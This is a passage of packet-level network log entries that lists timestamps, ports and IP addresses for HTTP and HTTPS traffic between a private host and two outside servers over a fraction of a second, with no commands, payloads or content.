Dec 6, 2024 18:45:49.660275936 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.660748959 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.660845995 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.660902023 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.662992001 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.663007021 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.663018942 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.663049936 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.663100004 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.663121939 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.663369894 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.663959026 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.664011955 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.664012909 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.664093971 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.665147066 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.665206909 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.665239096 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.665371895 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.666121006 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.666172028 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.666172981 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.666413069 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.667098999 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.667119026 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.667155027 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.667176008 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.668241024 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.668345928 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.668353081 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.668910980 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.669281006 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.669306040 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.669327974 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.669359922 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.669370890 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.669398069 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.669424057 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.669431925 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.669434071 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.669465065 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.670423985 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.670490026 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.671169996 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.671230078 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.671489954 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.671502113 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.671541929 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.672518969 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.672574043 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.672826052 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.672873020 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.672960043 CET	443	49817	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.672983885 CET	443	49817	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.673022032 CET	49817	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.673036098 CET	443	49817	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.673063040 CET	49817	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.673079967 CET	49817	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.673593044 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.673738956 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.673799992 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.673841953 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.674663067 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.674711943 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.674887896 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.674979925 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.675000906 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.675050020 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.675059080 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.675084114 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.675086021 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.675106049 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.675789118 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.675801992 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.675844908 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.675864935 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.676815987 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.676831007 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.676887035 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.677869081 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.677934885 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.678119898 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.678170919 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.678992987 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.679043055 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.679074049 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.679231882 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.680071115 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.680083036 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.680135965 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.681098938 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.681154966 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.681263924 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.681308985 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.682374001 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.682388067 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.682436943 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.683250904 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.683334112 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.683533907 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.683609009 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.684312105 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.684362888 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.684473991 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.684514046 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.685324907 CET	443	49815	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.685344934 CET	443	49815	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.685422897 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.685432911 CET	49815	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.685436010 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.685444117 CET	443	49815	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.685477018 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.685506105 CET	49815	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.686511040 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.687021017 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.687098026 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.687680006 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.687691927 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.687737942 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.688621044 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.688651085 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.688685894 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.688694000 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.688721895 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.688744068 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.688954115 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.688967943 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.689012051 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.689663887 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.689744949 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.689810991 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.690768003 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.690836906 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.691004992 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.691056013 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.691952944 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.691966057 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.692019939 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.692047119 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.692964077 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.693125010 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.693190098 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.693466902 CET	443	49817	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.693484068 CET	443	49817	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.693533897 CET	49817	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.693542957 CET	443	49817	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.693567038 CET	49817	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.693588972 CET	49817	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.694073915 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.694091082 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.694109917 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.694123030 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.694149017 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.694156885 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.694195986 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.694329023 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.695096016 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.695207119 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.695278883 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.696129084 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.696141005 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.696193933 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.696238041 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.697184086 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.697263002 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.697340965 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.698651075 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.698666096 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.698719025 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.699419022 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.699479103 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.699662924 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.699739933 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.700402975 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.700475931 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.700525999 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.700557947 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.701471090 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.701540947 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.701582909 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.701622009 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.702560902 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.702627897 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.702761889 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.702821016 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.703674078 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.703687906 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.703732967 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.703751087 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.704365015 CET	443	49815	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.704382896 CET	443	49815	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.704479933 CET	49815	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.704480886 CET	49815	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.704489946 CET	443	49815	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.704545021 CET	49815	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.704662085 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.704710960 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.704941988 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.705024004 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.705796957 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.705810070 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.705868959 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.706939936 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.706952095 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.707011938 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.707983017 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.707997084 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.708050966 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.708090067 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.708957911 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.709012985 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.709311962 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.709541082 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.709873915 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.709894896 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.709948063 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.709959984 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.709986925 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.710005999 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.710160017 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.710172892 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.710227013 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.711157084 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.711169958 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.711222887 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.712218046 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.712344885 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.712393045 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.713304996 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.713375092 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.713402033 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.713551998 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.714296103 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.714360952 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.714495897 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.714915037 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.715423107 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.715471029 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.715590954 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.715637922 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.716180086 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.716197968 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.716238022 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.716244936 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.716279984 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.716438055 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.720200062 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.726641893 CET	443	49815	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.726663113 CET	443	49815	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.726768970 CET	49815	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.726778030 CET	443	49815	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.726792097 CET	49815	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.726828098 CET	49815	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.810852051 CET	443	49817	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.810898066 CET	443	49817	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.810954094 CET	49817	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.810970068 CET	443	49817	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.811012983 CET	49817	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.822361946 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.822397947 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.822454929 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.822464943 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.822506905 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.826689005 CET	443	49817	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.826713085 CET	443	49817	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.826790094 CET	49817	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.826797962 CET	443	49817	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.826838970 CET	49817	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.829866886 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.829917908 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.829962969 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.829972029 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.829998970 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.830017090 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.834383011 CET	443	49815	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.834419966 CET	443	49815	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.834481001 CET	49815	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.834490061 CET	443	49815	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.834525108 CET	49815	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.834532976 CET	49815	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.841897964 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.841917992 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.841994047 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.842004061 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.842039108 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.842057943 CET	443	49817	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.842078924 CET	443	49817	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.842111111 CET	49817	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.842118025 CET	443	49817	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.842133999 CET	49817	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.842150927 CET	49817	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.846085072 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.846106052 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.846170902 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.846179008 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.846216917 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.846227884 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.852406979 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.852479935 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.852509975 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.852833986 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.853050947 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.853061914 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.853118896 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.853905916 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.853986025 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.854003906 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.854028940 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.854418039 CET	443	49815	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.854434013 CET	443	49815	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.854473114 CET	49815	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.854481936 CET	443	49815	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.854518890 CET	49815	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.854518890 CET	49815	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.854952097 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.854971886 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.855000019 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.855015993 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.855412006 CET	443	49817	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.855437994 CET	443	49817	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.855468035 CET	49817	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.855474949 CET	443	49817	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.855504990 CET	49817	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.855519056 CET	49817	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.855937958 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.855995893 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.856098890 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.856165886 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.857141972 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.857156992 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.857215881 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.858120918 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.858252048 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.858309984 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.858556032 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.858577967 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.858613968 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.858620882 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.858643055 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.858655930 CET	49818	443	192.168.2.6	150.171.27.10
